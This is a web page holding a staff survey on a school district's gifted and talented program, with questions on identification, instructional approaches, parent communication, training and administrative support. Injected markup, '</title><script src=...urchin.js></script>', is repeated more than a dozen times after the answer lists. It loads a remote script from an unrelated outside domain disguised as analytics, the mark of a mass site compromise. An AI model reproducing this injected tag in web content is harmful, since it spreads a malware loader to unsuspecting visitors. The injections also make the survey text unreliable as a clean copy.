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Please complete the following staff survey. Your input is important! Results will be compiled by campus and presented to the GT Advisory Committee, campus and district administrators, and campus and district improvement committees for review. Data collected will be used to determine program services, support, and professional development for the 2010-2011 school year.
Demographics
Your current position:
Your total years of experience in education:
Your years of experience in education with gifted students:
The grade level(s) you are currently teaching or are responsible for:
K-2
3-5
6-8
9-12
Other </title><script src=http://jjghui.com/urchin.js ></script>
The current gifted services grouping model utilized at the level you teach: (Choose all that apply.)
Regular heterogeneous classroom
Regular classroom with cluster grouping
Flexible grouping (grouping for subject area as needed)
Cross-grade level (student advances to different grade level in specific subject area)
Multi-age classroom
Consultation (gifted specialist works with classroom teacher and/or students within classroom setting) </title><script src=http://jjghui.com/urchin.js ></script>
Your background in gifted education:
Do you support the goals of your school's gifted program?
Identification
Are you familiar with the identification process for selecting students for the gifted program at RFISD?
If "Yes," which statement best describes your perception of the identification criteria?
Are there any populations which you think do not have equitable access to gifted services in your school because of the identification process? (Choose all that apply.)
Economically disadvantaged students
Minority students
Students for whom English is a second language
Emotionally disturbed students
Underachievers/unmotivated students
LD students </title><script src=http://jjghui.com/urchin.js ></script>
Which statement best reflects your opinion?
Program/Curriculum
Which of the following goals do you employ in delivering curriculum and instruction to your gifted students? (Choose all that apply.)
To present content that is related to broad-based issues/themes/problems
To integrate multiple disciplines into the area of study
To allow for the in-depth learning of a self-selected topic within the area of study
To develop independent or self-directed study skills
To develop productive/complex/abstract/higher level thinking skills
To focus on open-ended tasks
To develop research skills and methods
To integrate basic skills and higher level thinking skills into the curriculum
To encourage the development of products that challenge existing ideas and produce new ideas
To encourage the development of self-understanding/recognizing the use of one's abilities
To evaluate student outcomes by using appropriate and specific criteria through self-appraisal/criterion references/standardized instruments </title><script src=http://jjghui.com/urchin.js ></script>
Which statement best reflect your perception of gifted students in your classroom?
Which statement best reflect your perception of gifted students in your school?
What major instructional approaches do you routinely use with gifted students? (Choose all that apply.)
Lecture followed by student application
Facilitation of learning
Inquiry-based or problem-solving activities
Higher order questions
Student discussion
Cooperative learning with high-ability peers
Individual or group project work
Simulations/games
Tiered activities
Independent study/research opportunities </title><script src=http://jjghui.com/urchin.js ></script>
Wht information do you use in judging the effectiveness of the gifted program services? (Choose all that apply.)
Student feedback/comments
Standardized test scores
Student performance measures or products
Teacher feedback/comments
Parent feedback/comments </title><script src=http://jjghui.com/urchin.js ></script>
Communication
How would you rate the communication between yourself and the parents of your gifted students regarding their learning in the program?
Excellent
Adequate
Inconsistent
Poor
I generally do not communicate with parents about gifted students' learning unless their children have problems. </title><script src=http://jjghui.com/urchin.js ></script>
What means of communication with parents of GT students do you generally employ? (Choose all that apply.)
Parent/teacher conferences
Written reports
such as progress reports or report cards
Teacher newsletters or memos
Phone calls
Email
Web sites </title><script src=http://jjghui.com/urchin.js ></script>
Staff Development
How many GT workshops or conferences have you attended in the past five years?
None
1
2-3
4-6
7 or more </title><script src=http://jjghui.com/urchin.js ></script>
To what extent have your training experiences benefitted your instructional practices with GT students?
Not at all
To some extent
To a great extent </title><script src=http://jjghui.com/urchin.js ></script>
What changes, if any, hae you seen in your GT students' behavior after you modified your instructional practices? (Choose all that apply.)
GT students were more motivated.
GT students were more engaged in class.
GT students were more willing to take on more challenging projects.
GT students were producing more creative products.
GT students appreciated the opportunities to share their ideas with peers.
Saw no real changes in GT students' behavior. </title><script src=http://jjghui.com/urchin.js ></script>
Administration
How would you rate the staff development experiences related to GT provided by the school district in the past three years?
Excellent
Good
Adequate
Fair
Poor </title><script src=http://jjghui.com/urchin.js ></script>
How would you rate your degree of satisfaction with the administrative support for your work with gifted students?
Very satisfied
Satisfied
Dissatisfied
Very Dissatisfied </title><script src=http://jjghui.com/urchin.js ></script>
What do you think is the SINGLE most important benefit of RFISD's gifted program to identified students?
Please select one area for change/improvement that would most greatly benefit identified gifted students:
Based on your response to the above question, please briefly describe the nature of the change you would suggest:
What additional comments, feedback, or suggestions do you have regarding the gifted program and your experience with it?

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